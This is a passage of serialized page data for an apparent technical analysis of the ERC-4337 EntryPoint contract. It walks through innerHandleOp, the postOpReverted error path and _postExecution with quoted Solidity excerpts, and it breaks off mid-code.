_postExecution",{"type":25,"tag":216,"props":109386,"children":109387},{"style":6958},[109388],{"type":31,"value":7414},{"type":25,"tag":216,"props":109390,"children":109391},{"class":6916,"line":27685},[109392],{"type":25,"tag":216,"props":109393,"children":109394},{"style":6958},[109395],{"type":31,"value":109396},"                    IPaymaster.PostOpMode.postOpReverted,\n",{"type":25,"tag":216,"props":109398,"children":109399},{"class":6916,"line":27718},[109400],{"type":25,"tag":216,"props":109401,"children":109402},{"style":6958},[109403],{"type":31,"value":109404},"                    opInfo,\n",{"type":25,"tag":216,"props":109406,"children":109407},{"class":6916,"line":27726},[109408],{"type":25,"tag":216,"props":109409,"children":109410},{"style":6958},[109411],{"type":31,"value":109412},"                    context,\n",{"type":25,"tag":216,"props":109414,"children":109415},{"class":6916,"line":27734},[109416],{"type":25,"tag":216,"props":109417,"children":109418},{"style":6958},[109419],{"type":31,"value":109420},"                    actualGas\n",{"type":25,"tag":216,"props":109422,"children":109423},{"class":6916,"line":27771},[109424],{"type":25,"tag":216,"props":109425,"children":109426},{"style":6958},[109427],{"type":31,"value":109428},"                );\n",{"type":25,"tag":216,"props":109430,"children":109431},{"class":6916,"line":27784},[109432],{"type":25,"tag":216,"props":109433,"children":109434},{"style":6958},[109435],{"type":31,"value":62846},{"type":25,"tag":216,"props":109437,"children":109438},{"class":6916,"line":27797},[109439],{"type":25,"tag":216,"props":109440,"children":109441},{"style":6958},[109442],{"type":31,"value":7296},{"type":25,"tag":216,"props":109444,"children":109445},{"class":6916,"line":27810},[109446],{"type":25,"tag":216,"props":109447,"children":109448},{"style":6958},[109449],{"type":31,"value":7305},{"type":25,"tag":38,"props":109451,"children":109452},{},[109453,109455,109460,109462,109468,109470,109476,109478,109484],{"type":31,"value":109454},"During execution, the ",{"type":25,"tag":82,"props":109456,"children":109458},{"className":109457},[],[109459],{"type":31,"value":106215},{"type":31,"value":109461}," contract makes a ",{"type":25,"tag":162,"props":109463,"children":109466},{"href":109464,"rel":109465},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[166],[109467],{"type":31,"value":42253},{"type":31,"value":109469}," to its own ",{"type":25,"tag":82,"props":109471,"children":109473},{"className":109472},[],[109474],{"type":31,"value":109475},"innerHandleOp",{"type":31,"value":109477}," function through a low-level ",{"type":25,"tag":82,"props":109479,"children":109481},{"className":109480},[],[109482],{"type":31,"value":109483},"call()",{"type":31,"value":109485},". This is done to create a new call context for executing the user operation.",{"type":25,"tag":38,"props":109487,"children":109488},{},[109489,109491,109497,109498,109503,109505,109512,109514,109520],{"type":31,"value":109490},"If this call fails (when ",{"type":25,"tag":82,"props":109492,"children":109494},{"className":109493},[],[109495],{"type":31,"value":109496},"success",{"type":31,"value":1674},{"type":25,"tag":82,"props":109499,"children":109501},{"className":109500},[],[109502],{"type":31,"value":12121},{"type":31,"value":109504},"), the code enters an ",{"type":25,"tag":162,"props":109506,"children":109509},{"href":109507,"rel":109508},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[166],[109510],{"type":31,"value":109511},"error handling",{"type":31,"value":109513}," flow that checks the ",{"type":25,"tag":82,"props":109515,"children":109517},{"className":109516},[],[109518],{"type":31,"value":109519},"innerRevertCode",{"type":31,"value":109521},". There are three possible paths:",{"type":25,"tag":6705,"props":109523,"children":109524},{},[109525,109549,109567],{"type":25,"tag":2037,"props":109526,"children":109527},{},[109528,109529,109534,109535,109541,109543,109548],{"type":31,"value":11425},{"type":25,"tag":82,"props":109530,"children":109532},{"className":109531},[],[109533],{"type":31,"value":109519},{"type":31,"value":1674},{"type":25,"tag":82,"props":109536,"children":109538},{"className":109537},[],[109539],{"type":31,"value":109540},"INNER_OUT_OF_GAS",{"type":31,"value":109542},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":25,"tag":82,"props":109544,"children":109546},{"className":109545},[],[109547],{"type":31,"value":109192},{"type":31,"value":179},{"type":25,"tag":2037,"props":109550,"children":109551},{},[109552,109553,109558,109559,109565],{"type":31,"value":11425},{"type":25,"tag":82,"props":109554,"children":109556},{"className":109555},[],[109557],{"type":31,"value":109519},{"type":31,"value":1674},{"type":25,"tag":82,"props":109560,"children":109562},{"className":109561},[],[109563],{"type":31,"value":109564},"INNER_REVERT_LOW_PREFUND",{"type":31,"value":109566},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":25,"tag":2037,"props":109568,"children":109569},{},[109570,109572,109578,109580,109586],{"type":31,"value":109571},"For any other revert reason, the code will still call ",{"type":25,"tag":82,"props":109573,"children":109575},{"className":109574},[],[109576],{"type":31,"value":109577},"_postExecution()",{"type":31,"value":109579}," but with ",{"type":25,"tag":82,"props":109581,"children":109583},{"className":109582},[],[109584],{"type":31,"value":109585},"PostOpMode.postOpReverted",{"type":31,"value":109587},". This ensures proper cleanup happens even on failure.",{"type":25,"tag":38,"props":109589,"children":109590},{},[109591,109593,109598,109600,109605,109607,109612,109614,109619],{"type":31,"value":109592},"We're particularly interested in the third error path, where ",{"type":25,"tag":82,"props":109594,"children":109596},{"className":109595},[],[109597],{"type":31,"value":109519},{"type":31,"value":109599}," is neither ",{"type":25,"tag":82,"props":109601,"children":109603},{"className":109602},[],[109604],{"type":31,"value":109540},{"type":31,"value":109606}," nor ",{"type":25,"tag":82,"props":109608,"children":109610},{"className":109609},[],[109611],{"type":31,"value":109564},{"type":31,"value":109613},". To understand this case better, let's examine how ",{"type":25,"tag":82,"props":109615,"children":109617},{"className":109616},[],[109618],{"type":31,"value":109475},{"type":31,"value":109620}," works.",{"type":25,"tag":206,"props":109622,"children":109624},{"className":8417,"code":109623,"language":8416,"meta":7,"style":7},"    function innerHandleOp(\n        bytes memory callData,\n        UserOpInfo memory opInfo,\n        bytes calldata context\n    ) external returns (uint256 actualGasCost) {\n    [...]\n        IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n        if (callData.length > 0) {\n            bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n            if (!success) {\n                uint256 freePtr = _getFreePtr();\n                bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                if (result.length > 0) {\n                    emit UserOperationRevertReason(\n                        opInfo.userOpHash,\n                        mUserOp.sender,\n                        mUserOp.nonce,\n                        result\n                    );\n                }\n                _restoreFreePtr(freePtr);\n                mode = IPaymaster.PostOpMode.opReverted;\n            }\n        }\n\n        unchecked {\n            uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n            return _postExecution(mode, opInfo, context, actualGas);\n        }\n    }\n",[109625],{"type":25,"tag":82,"props":109626,"children":109627},{"__ignoreMap":7},[109628,109644,109665,109685,109701,109734,109741,109758,109782,109822,109841,109866,109900,109924,109941,109949,109957,109965,109973,109981,109988,110001,110018,110025,110032,110039,110050,110089,110105,110112],{"type":25,"tag":216,"props":109629,"children":109630},{"class":6916,"line":6917},[109631,109635,109640],{"type":25,"tag":216,"props":109632,"children":109633},{"style":6930},[109634],{"type":31,"value":93796},{"type":25,"tag":216,"props":109636,"children":109637},{"style":7041},[109638],{"type":31,"value":109639}," innerHandleOp",{"type":25,"tag":216,"props":109641,"children":109642},{"style":6958},[109643],{"type":31,"value":7414},{"type":25,"tag":216,"props":109645,"children":109646},{"class":6916,"line":6763},[109647,109652,109656,109661],{"type":25,"tag":216,"props":109648,"children":109649},{"style":7369},[109650],{"type":31,"value":109651},"        bytes",{"type":25,"tag":216,"props":109653,"children":109654},{"style":6930},[109655],{"type":31,"value":107032},{"type":25,"tag":216,"props":109657,"children":109658},{"style":6941},[109659],{"type":31,"value":109660}," callData",{"type":25,"tag":216,"props":109662,"children":109663},{"style":6958},[109664],{"type":31,"value":7459},{"type":25,"tag":216,"props":109666,"children":109667},{"class":6916,"line":6772},[109668,109672,109676,109681],{"type":25,"tag":216,"props":109669,"children":109670},{"style":6930},[109671],{"type":31,"value":108692},{"type":25,"tag":216,"props":109673,"children":109674},{"style":6930},[109675],{"type":31,"value":107032},{"type":25,"tag":216,"props":109677,"children":109678},{"style":6941},[109679],{"type":31,"value":109680}," opInfo",{"type":25,"tag":216,"props":109682,"children":109683},{"style":6958},[109684],{"type":31,"value":7459},{"type":25,"tag":216,"props":109686,"children":109687},{"class":6916,"line":6999},[109688,109692,109696],{"type":25,"tag":216,"props":109689,"children":109690},{"style":7369},[109691],{"type":31,"value":109651},{"type":25,"tag":216,"props":109693,"children":109694},{"style":6930},[109695],{"type":31,"value":106964},{"type":25,"tag":216,"props":109697,"children":109698},{"style":6941},[109699],{"type":31,"value":109700}," context\n",{"type":25,"tag":216,"props":109702,"children":109703},{"class":6916,"line":7104},[109704,109709,109714,109718,109722,109726,109730],{"type":25,"tag":216,"props":109705,"children":109706},{"style":6958},[109707],{"type":31,"value":109708},"    ) ",{"type":25,"tag":216,"props":109710,"children":109711},{"style":6930},[109712],{"type":31,"value":109713},"external",{"type":25,"tag":216,"props":109715,"children":109716},{"style":6967},[109717],{"type":31,"value":79959},{"type":25,"tag":216,"props":109719,"children":109720},{"style":6958},[109721],{"type":31,"value":7010},{"type":25,"tag":216,"props":109723,"children":109724},{"style":7369},[109725],{"type":31,"value":50130},{"type":25,"tag":216,"props":109727,"children":109728},{"style":6941},[109729],{"type":31,"value":107773},{"type":25,"tag":216,"props":109731,"children":109732},{"style":6958},[109733],{"type":31,"value":18755},{"type":25,"tag":216,"props":109735,"children":109736},{"class":6916,"line":7210},[109737],{"type":25,"tag":216,"props":109738,"children":109739},{"style":6958},[109740],{"type":31,"value":108753},{"type":25,"tag":216,"props":109742,"children":109743},{"class":6916,"line":7238},[109744,109749,109753],{"type":25,"tag":216,"props":109745,"children":109746},{"style":6958},[109747],{"type":31,"value":109748},"        IPaymaster.PostOpMode mode ",{"type":25,"tag":216,"props":109750,"children":109751},{"style":6947},[109752],{"type":31,"value":266},{"type":25,"tag":216,"props":109754,"children":109755},{"style":6958},[109756],{"type":31,"value":109757}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":25,"tag":216,"props":109759,"children":109760},{"class":6916,"line":7251},[109761,109765,109770,109774,109778],{"type":25,"tag":216,"props":109762,"children":109763},{"style":6967},[109764],{"type":31,"value":7216},{"type":25,"tag":216,"props":109766,"children":109767},{"style":6958},[109768],{"type":31,"value":109769}," (callData.length ",{"type":25,"tag":216,"props":109771,"children":109772},{"style":6947},[109773],{"type":31,"value":5896},{"type":25,"tag":216,"props":109775,"children":109776},{"style":6983},[109777],{"type":31,"value":6986},{"type":25,"tag":216,"props":109779,"children":109780},{"style":6958},[109781],{"type":31,"value":18755},{"type":25,"tag":216,"props":109783,"children":109784},{"class":6916,"line":7269},[109785,109790,109795,109799,109804,109808,109813,109817],{"type":25,"tag":216,"props":109786,"children":109787},{"style":7369},[109788],{"type":31,"value":109789},"            bool",{"type":25,"tag":216,"props":109791,"children":109792},{"style":6958},[109793],{"type":31,"value":109794}," success ",{"type":25,"tag":216,"props":109796,"children":109797},{"style":6947},[109798],{"type":31,"value":266},{"type":25,"tag":216,"props":109800,"children":109801},{"style":6958},[109802],{"type":31,"value":109803}," Exec.",{"type":25,"tag":216,"props":109805,"children":109806},{"style":7041},[109807],{"type":31,"value":42253},{"type":25,"tag":216,"props":109809,"children":109810},{"style":6958},[109811],{"type":31,"value":109812},"(mUserOp.sender, ",{"type":25,"tag":216,"props":109814,"children":109815},{"style":6983},[109816],{"type":31,"value":1876},{"type":25,"tag":216,"props":109818,"children":109819},{"style":6958},[109820],{"type":31,"value":109821},", callData, callGasLimit);\n",{"type":25,"tag":216,"props":109823,"children":109824},{"class":6916,"line":7290},[109825,109829,109833,109837],{"type":25,"tag":216,"props":109826,"children":109827},{"style":6967},[109828],{"type":31,"value":62762},{"type":25,"tag":216,"props":109830,"children":109831},{"style":6958},[109832],{"type":31,"value":7010},{"type":25,"tag":216,"props":109834,"children":109835},{"style":6947},[109836],{"type":31,"value":24575},{"type":25,"tag":216,"props":109838,"children":109839},{"style":6958},[109840],{"type":31,"value":109125},{"type":25,"tag":216,"props":109842,"children":109843},{"class":6916,"line":7299},[109844,109848,109853,109857,109862],{"type":25,"tag":216,"props":109845,"children":109846},{"style":7369},[109847],{"type":31,"value":107412},{"type":25,"tag":216,"props":109849,"children":109850},{"style":6958},[109851],{"type":31,"value":109852}," freePtr ",{"type":25,"tag":216,"props":109854,"children":109855},{"style":6947},[109856],{"type":31,"value":266},{"type":25,"tag":216,"props":109858,"children":109859},{"style":7041},[109860],{"type":31,"value":109861}," _getFreePtr",{"type":25,"tag":216,"props":109863,"children":109864},{"style":6958},[109865],{"type":31,"value":7627},{"type":25,"tag":216,"props":109867,"children":109868},{"class":6916,"line":7551},[109869,109873,109877,109882,109886,109890,109895],{"type":25,"tag":216,"props":109870,"children":109871},{"style":7369},[109872],{"type":31,"value":108809},{"type":25,"tag":216,"props":109874,"children":109875},{"style":6930},[109876],{"type":31,"value":107032},{"type":25,"tag":216,"props":109878,"children":109879},{"style":6958},[109880],{"type":31,"value":109881}," result ",{"type":25,"tag":216,"props":109883,"children":109884},{"style":6947},[109885],{"type":31,"value":266},{"type":25,"tag":216,"props":109887,"children":109888},{"style":6958},[109889],{"type":31,"value":109803},{"type":25,"tag":216,"props":109891,"children":109892},{"style":7041},[109893],{"type":31,"value":109894},"getReturnData",{"type":25,"tag":216,"props":109896,"children":109897},{"style":6958},[109898],{"type":31,"value":109899},"(REVERT_REASON_MAX_LEN);\n",{"type":25,"tag":216,"props":109901,"children":109902},{"class":6916,"line":7568},[109903,109907,109912,109916,109920],{"type":25,"tag":216,"props":109904,"children":109905},{"style":6967},[109906],{"type":31,"value":107472},{"type":25,"tag":216,"props":109908,"children":109909},{"style":6958},[109910],{"type":31,"value":109911}," (result.length ",{"type":25,"tag":216,"props":109913,"children":109914},{"style":6947},[109915],{"type":31,"value":5896},{"type":25,"tag":216,"props":109917,"children":109918},{"style":6983},[109919],{"type":31,"value":6986},{"type":25,"tag":216,"props":109921,"children":109922},{"style":6958},[109923],{"type":31,"value":18755},{"type":25,"tag":216,"props":109925,"children":109926},{"class":6916,"line":7585},[109927,109932,109937],{"type":25,"tag":216,"props":109928,"children":109929},{"style":6967},[109930],{"type":31,"value":109931},"                    emit",{"type":25,"tag":216,"props":109933,"children":109934},{"style":7041},[109935],{"type":31,"value":109936}," UserOperationRevertReason",{"type":25,"tag":216,"props":109938,"children":109939},{"style":6958},[109940],{"type":31,"value":7414},{"type":25,"tag":216,"props":109942,"children":109943},{"class":6916,"line":7598},[109944],{"type":25,"tag":216,"props":109945,"children":109946},{"style":6958},[109947],{"type":31,"value":109948},"                        opInfo.userOpHash,\n",{"type":25,"tag":216,"props":109950,"children":109951},{"class":6916,"line":7607},[109952],{"type":25,"tag":216,"props":109953,"children":109954},{"style":6958},[109955],{"type":31,"value":109956},"                        mUserOp.sender,\n",{"type":25,"tag":216,"props":109958,"children":109959},{"class":6916,"line":7630},[109960],{"type":25,"tag":216,"props":109961,"children":109962},{"style":6958},[109963],{"type":31,"value":109964},"                        mUserOp.nonce,\n",{"type":25,"tag":216,"props":109966,"children":109967},{"class":6916,"line":7639},[109968],{"type":25,"tag":216,"props":109969,"children":109970},{"style":6958},[109971],{"type":31,"value":109972},"                        result\n",{"type":25,"tag":216,"props":109974,"children":109975},{"class":6916,"line":7648},[109976],{"type":25,"tag":216,"props":109977,"children":109978},{"style":6958},[109979],{"type":31,"value":109980},"                    );\n",{"type":25,"tag":216,"props":109982,"children":109983},{"class":6916,"line":7716},[109984],{"type":25,"tag":216,"props":109985,"children":109986},{"style":6958},[109987],{"type":31,"value":75035},{"type":25,"tag":216,"props":109989,"children":109990},{"class":6916,"line":7724},[109991,109996],{"type":25,"tag":216,"props":109992,"children":109993},{"style":7041},[109994],{"type":31,"value":109995},"                _restoreFreePtr",{"type":25,"tag":216,"props":109997,"children":109998},{"style":6958},[109999],{"type":31,"value":110000},"(freePtr);\n",{"type":25,"tag":216,"props":110002,"children":110003},{"class":6916,"line":7754},[110004,110009,110013],{"type":25,"tag":216,"props":110005,"children":110006},{"style":6958},[110007],{"type":31,"value":110008},"                mode ",{"type":25,"tag":216,"props":110010,"children":110011},{"style":6947},[110012],{"type":31,"value":266},{"type":25,"tag":216,"props":110014,"children":110015},{"style":6958},[110016],{"type":31,"value":110017}," IPaymaster.PostOpMode.opReverted;\n",{"type":25,"tag":216,"props":110019,"children":110020},{"class":6916,"line":7762},[110021],{"type":25,"tag":216,"props":110022,"children":110023},{"style":6958},[110024],{"type":31,"value":62846},{"type":25,"tag":216,"props":110026,"children":110027},{"class":6916,"line":7794},[110028],{"type":25,"tag":216,"props":110029,"children":110030},{"style":6958},[110031],{"type":31,"value":7296},{"type":25,"tag":216,"props":110033,"children":110034},{"class":6916,"line":7802},[110035],{"type":25,"tag":216,"props":110036,"children":110037},{"emptyLinePlaceholder":16},[110038],{"type":31,"value":7636},{"type":25,"tag":216,"props":110040,"children":110041},{"class":6916,"line":7862},[110042,110046],{"type":25,"tag":216,"props":110043,"children":110044},{"style":6967},[110045],{"type":31,"value":107068},{"type":25,"tag":216,"props":110047,"children":110048},{"style":6958},[110049],{"type":31,"value":7235},{"type":25,"tag":216,"props":110051,"children":110052},{"class":6916,"line":12995},[110053,110057,110061,110065,110069,110073,110077,110081,110085],{"type":25,"tag":216,"props":110054,"children":110055},{"style":7369},[110056],{"type":31,"value":107080},{"type":25,"tag":216,"props":110058,"children":110059},{"style":6958},[110060],{"type":31,"value":109244},{"type":25,"tag":216,"props":110062,"children":110063},{"style":6947},[110064],{"type":31,"value":266},{"type":25,"tag":216,"props":110066,"children":110067},{"style":6958},[110068],{"type":31,"value":109253},{"type":25,"tag":216,"props":110070,"children":110071},{"style":6947},[110072],{"type":31,"value":8270},{"type":25,"tag":216,"props":110074,"children":110075},{"style":6930},[110076],{"type":31,"value":109262},{"type":25,"tag":216,"props":110078,"children":110079},{"style":6958},[110080],{"type":31,"value":17994},{"type":25,"tag":216,"props":110082,"children":110083},{"style":6947},[110084],{"type":31,"value":3533},{"type":25,"tag":216,"props":110086,"children":110087},{"style":6958},[110088],{"type":31,"value":109275},{"type":25,"tag":216,"props":110090,"children":110091},{"class":6916,"line":13013},[110092,110096,110100],{"type":25,"tag":216,"props":110093,"children":110094},{"style":6967},[110095],{"type":31,"value":83042},{"type":25,"tag":216,"props":110097,"children":110098},{"style":7041},[110099],{"type":31,"value":109384},{"type":25,"tag":216,"props":110101,"children":110102},{"style":6958},[110103],{"type":31,"value":110104},"(mode, opInfo, context, actualGas);\n",{"type":25,"tag":216,"props":110106,"children":110107},{"class":6916,"line":13058},[110108],{"type":25,"tag":216,"props":110109,"children":110110},{"style":6958},[110111],{"type":31,"value":7296},{"type":25,"tag":216,"props":110113,"children":110114},{"class":6916,"line":13164},[110115],{"type":25,"tag":216,"props":110116,"children":110117},{"style":6958},[110118],{"type":31,"value":7305},{"type":25,"tag":38,"props":110120,"children":110121},{},[110122,110124,110129,110131,110136,110138,110144,110146,110152,110154,110159,110161,110171],{"type":31,"value":110123},"We observe that, in the happy path, ",{"type":25,"tag":82,"props":110125,"children":110127},{"className":110126},[],[110128],{"type":31,"value":109475},{"type":31,"value":110130}," is expected to not only execute the actual ",{"type":25,"tag":82,"props":110132,"children":110134},{"className":110133},[],[110135],{"type":31,"value":106134},{"type":31,"value":110137}," call, but also call ",{"type":25,"tag":82,"props":110139,"children":110141},{"className":110140},[],[110142],{"type":31,"value":110143},"_postExecution",{"type":31,"value":110145},". This means that the third failure handling path, which passes ",{"type":25,"tag":82,"props":110147,"children":110149},{"className":110148},[],[110150],{"type":31,"value":110151},"postOpReverted",{"type":31,"value":110153}," as its mode, happens when something goes wrong with the ",{"type":25,"tag":82,"props":110155,"children":110157},{"className":110156},[],[110158],{"type":31,"value":110143},{"type":31,"value":110160}," call ",{"type":25,"tag":9267,"props":110162,"children":110163},{},[110164,110166],{"type":31,"value":110165},"inside ",{"type":25,"tag":82,"props":110167,"children":110169},{"className":110168},[],[110170],{"type":31,"value":109475},{"type":31,"value":179},{"type":25,"tag":38,"props":110173,"children":110174},{},[110175,110177,110182],{"type":31,"value":110176},"Let's examine the ",{"type":25,"tag":82,"props":110178,"children":110180},{"className":110179},[],[110181],{"type":31,"value":110143},{"type":31,"value":110183}," code to understand where the revert might occur.",{"type":25,"tag":206,"props":110185,"children":110187},{"className":8417,"code":110186,"language":8416,"meta":7,"style":7},"    function _postExecution(\n        IPaymaster.PostOpMode mode,\n        UserOpInfo memory opInfo,\n        bytes memory context,\n        uint256 actualGas\n    ) internal virtual returns (uint256 actualGasCost) {\n    [...]\n            if (paymaster == address(0)) {\n                refundAddress = mUserOp.sender;\n            } else {\n                refundAddress = paymaster;\n                if (context.length > 0) {\n                    actualGasCost = actualGas * gasPrice;\n                    uint256 postOpPreGas = gasleft();\n                    if (mode != IPaymaster.PostOpMode.postOpReverted) {\n                        try IPaymaster(paymaster).postOp{\n                                gas: mUserOp.paymasterPostOpGasLimit\n                            }(mode, context, actualGasCost, gasPrice)\n                        // solhint-disable-next-line no-empty-blocks\n                        {} catch {\n                            bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                            revert PostOpReverted(reason);\n                        }\n                    }\n                    // Calculating a penalty for unused postOp gas\n                    // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n                    uint256 postOpGasUsed = postOpPreGas - gasleft();\n                    postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n                }\n            }\n    [...]\n    }\n",[110188],{"type":25,"tag":82,"props":110189,"children":110190},{"__ignoreMap":7},[110191,110206,110231,110250,110269,110281,110318,110325,110357,110374,110389,110405,110429,110454,110478,110500,110518,110535,110543,110561,110577,110610,110628,110635,110642,110650,110666,110698,110720,110727,110734,110741],{"type":25,"tag":216,"props":110192,"children":110193},{"class":6916,"line":6917},[110194,110198,110202],{"type":25,"tag":216,"props":110195,"children":110196},{"style":6930},[110197],{"type":31,"value":93796},{"type":25,"tag":216,"props":110199,"children":110200},{"style":7041},[110201],{"type":31,"value":109384},{"type":25,"tag":216,"props":110203,"children":110204},{"style":6958},[110205],{"type":31,"value":7414},{"type":25,"tag":216,"props":110207,"children":110208},{"class":6916,"line":6763},[110209,110214,110218,110222,110227],{"type":25,"tag":216,"props":110210,"children":110211},{"style":6930},[110212],{"type":31,"value":110213},"        IPaymaster",{"type":25,"tag":216,"props":110215,"children":110216},{"style":6958},[110217],{"type":31,"value":179},{"type":25,"tag":216,"props":110219,"children":110220},{"style":6941},[110221],{"type":31,"value":107744},{"type":25,"tag":216,"props":110223,"children":110224},{"style":6941},[110225],{"type":31,"value":110226}," mode",{"type":25,"tag":216,"props":110228,"children":110229},{"style":6958},[110230],{"type":31,"value":7459},{"type":25,"tag":216,"props":110232,"children":110233},{"class":6916,"line":6772},[110234,110238,110242,110246],{"type":25,"tag":216,"props":110235,"children":110236},{"style":6930},[110237],{"type":31,"value":108692},{"type":25,"tag":216,"props":110239,"children":110240},{"style":6930},[110241],{"type":31,"value":107032},{"type":25,"tag":216,"props":110243,"children":110244},{"style":6941},[110245],{"type":31,"value":109680},{"type":25,"tag":216,"props":110247,"children":110248},{"style":6958},[110249],{"type":31,"value":7459},{"type":25,"tag":216,"props":110251,"children":110252},{"class":6916,"line":6999},[110253,110257,110261,110265],{"type":25,"tag":216,"props":110254,"children":110255},{"style":7369},[110256],{"type":31,"value":109651},{"type":25,"tag":216,"props":110258,"children":110259},{"style":6930},[110260],{"type":31,"value":107032},{"type":25,"tag":216,"props":110262,"children":110263},{"style":6941},[110264],{"type":31,"value":80306},{"type":25,"tag":216,"props":110266,"children":110267},{"style":6958},[110268],{"type":31,"value":7459},{"type":25,"tag":216,"props":110270,"children":110271},{"class":6916,"line":7104},[110272,110276],{"type":25,"tag":216,"props":110273,"children":110274},{"style":7369},[110275],{"type":31,"value":93974},{"type":25,"tag":216,"props":110277,"children":110278},{"style":6941},[110279],{"type":31,"value":110280}," actualGas\n",{"type":25,"tag":216,"props":110282,"children":110283},{"class":6916,"line":7210},[110284,110288,110293,110298,110302,110306,110310,110314],{"type":25,"tag":216,"props":110285,"children":110286},{"style":6958},[110287],{"type":31,"value":109708},{"type":25,"tag":216,"props":110289,"children":110290},{"style":6930},[110291],{"type":31,"value":110292},"internal",{"type":25,"tag":216,"props":110294,"children":110295},{"style":6930},[110296],{"type":31,"value":110297}," virtual",{"type":25,"tag":216,"props":110299,"children":110300},{"style":6967},[110301],{"type":31,"value":79959},{"type":25,"tag":216,"props":110303,"children":110304},{"style":6958},[110305],{"type":31,"value":7010},{"type":25,"tag":216,"props":110307,"children":110308},{"style":7369},[110309],{"type":31,"value":50130},{"type":25,"tag":216,"props":110311,"children":110312},{"style":6941},[110313],{"type":31,"value":107773},{"type":25,"tag":216,"props":110315,"children":110316},{"style":6958},[110317],{"type":31,"value":18755},{"type":25,"tag":216,"props":110319,"children":110320},{"class":6916,"line":7238},[110321],{"type":25,"tag":216,"props":110322,"children":110323},{"style":6958},[110324],{"type":31,"value":108753},{"type":25,"tag":216,"props":110326,"children":110327},{"class":6916,"line":7251},[110328,110332,110337,110341,110345,110349,110353],{"type":25,"tag":216,"props":110329,"children":110330},{"style":6967},[110331],{"type":31,"value":62762},{"type":25,"tag":216,"props":110333,"children":110334},{"style":6958},[110335],{"type":31,"value":110336}," (paymaster ",{"type":25,"tag":216,"props":110338,"children":110339},{"style":6947},[110340],{"type":31,"value":12522},{"type":25,"tag":216,"props":110342,"children":110343},{"style":7369},[110344],{"type":31,"value":10195},{"type":25,"tag":216,"props":110346,"children":110347},{"style":6958},[110348],{"type":31,"value":1844},{"type":25,"tag":216,"props":110350,"children":110351},{"style":6983},[110352],{"type":31,"value":1876},{"type":25,"tag":216,"props":110354,"children":110355},{"style":6958},[110356],{"type":31,"value":39151},{"type":25,"tag":216,"props":110358,"children":110359},{"class":6916,"line":7269},[110360,110365,110369],{"type":25,"tag":216,"props":110361,"children":110362},{"style":6958},[110363],{"type":31,"value":110364},"                refundAddress ",{"type":25,"tag":216,"props":110366,"children":110367},{"style":6947},[110368],{"type":31,"value":266},{"type":25,"tag":216,"props":110370,"children":110371},{"style":6958},[110372],{"type":31,"value":110373}," mUserOp.sender;\n",{"type":25,"tag":216,"props":110375,"children":110376},{"class":6916,"line":7290},[110377,110381,110385],{"type":25,"tag":216,"props":110378,"children":110379},{"style":6958},[110380],{"type":31,"value":74558},{"type":25,"tag":216,"props":110382,"children":110383},{"style":6967},[110384],{"type":31,"value":7262},{"type":25,"tag":216,"props":110386,"children":110387},{"style":6958},[110388],{"type":31,"value":7235},{"type":25,"tag":216,"props":110390,"children":110391},{"class":6916,"line":7299},[110392,110396,110400],{"type":25,"tag":216,"props":110393,"children":110394},{"style":6958},[110395],{"type":31,"value":110364},{"type":25,"tag":216,"props":110397,"children":110398},{"style":6947},[110399],{"type":31,"value":266},{"type":25,"tag":216,"props":110401,"children":110402},{"style":6958},[110403],{"type":31,"value":110404}," paymaster;\n",{"type":25,"tag":216,"props":110406,"children":110407},{"class":6916,"line":7551},[110408,110412,110417,110421,110425],{"type":25,"tag":216,"props":110409,"children":110410},{"style":6967},[110411],{"type":31,"value":107472},{"type":25,"tag":216,"props":110413,"children":110414},{"style":6958},[110415],{"type":31,"value":110416}," (context.length ",{"type":25,"tag":216,"props":110418,"children":110419},{"style":6947},[110420],{"type":31,"value":5896},{"type":25,"tag":216,"props":110422,"children":110423},{"style":6983},[110424],{"type":31,"value":6986},{"type":25,"tag":216,"props":110426,"children":110427},{"style":6958},[110428],{"type":31,"value":18755},{"type":25,"tag":216,"props":110430,"children":110431},{"class":6916,"line":7568},[110432,110437,110441,110445,110449],{"type":25,"tag":216,"props":110433,"children":110434},{"style":6958},[110435],{"type":31,"value":110436},"                    actualGasCost ",{"type":25,"tag":216,"props":110438,"children":110439},{"style":6947},[110440],{"type":31,"value":266},{"type":25,"tag":216,"props":110442,"children":110443},{"style":6958},[110444],{"type":31,"value":109244},{"type":25,"tag":216,"props":110446,"children":110447},{"style":6947},[110448],{"type":31,"value":8513},{"type":25,"tag":216,"props":110450,"children":110451},{"style":6958},[110452],{"type":31,"value":110453}," gasPrice;\n",{"type":25,"tag":216,"props":110455,"children":110456},{"class":6916,"line":7585},[110457,110461,110466,110470,110474],{"type":25,"tag":216,"props":110458,"children":110459},{"style":7369},[110460],{"type":31,"value":107429},{"type":25,"tag":216,"props":110462,"children":110463},{"style":6958},[110464],{"type":31,"value":110465}," postOpPreGas ",{"type":25,"tag":216,"props":110467,"children":110468},{"style":6947},[110469],{"type":31,"value":266},{"type":25,"tag":216,"props":110471,"children":110472},{"style":6930},[110473],{"type":31,"value":109262},{"type":25,"tag":216,"props":110475,"children":110476},{"style":6958},[110477],{"type":31,"value":7627},{"type":25,"tag":216,"props":110479,"children":110480},{"class":6916,"line":7598},[110481,110486,110491,110495],{"type":25,"tag":216,"props":110482,"children":110483},{"style":6967},[110484],{"type":31,"value":110485},"                    if",{"type":25,"tag":216,"props":110487,"children":110488},{"style":6958},[110489],{"type":31,"value":110490}," (mode ",{"type":25,"tag":216,"props":110492,"children":110493},{"style":6947},[110494],{"type":31,"value":19640},{"type":25,"tag":216,"props":110496,"children":110497},{"style":6958},[110498],{"type":31,"value":110499}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":25,"tag":216,"props":110501,"children":110502},{"class":6916,"line":7607},[110503,110508,110513],{"type":25,"tag":216,"props":110504,"children":110505},{"style":6967},[110506],{"type":31,"value":110507},"                        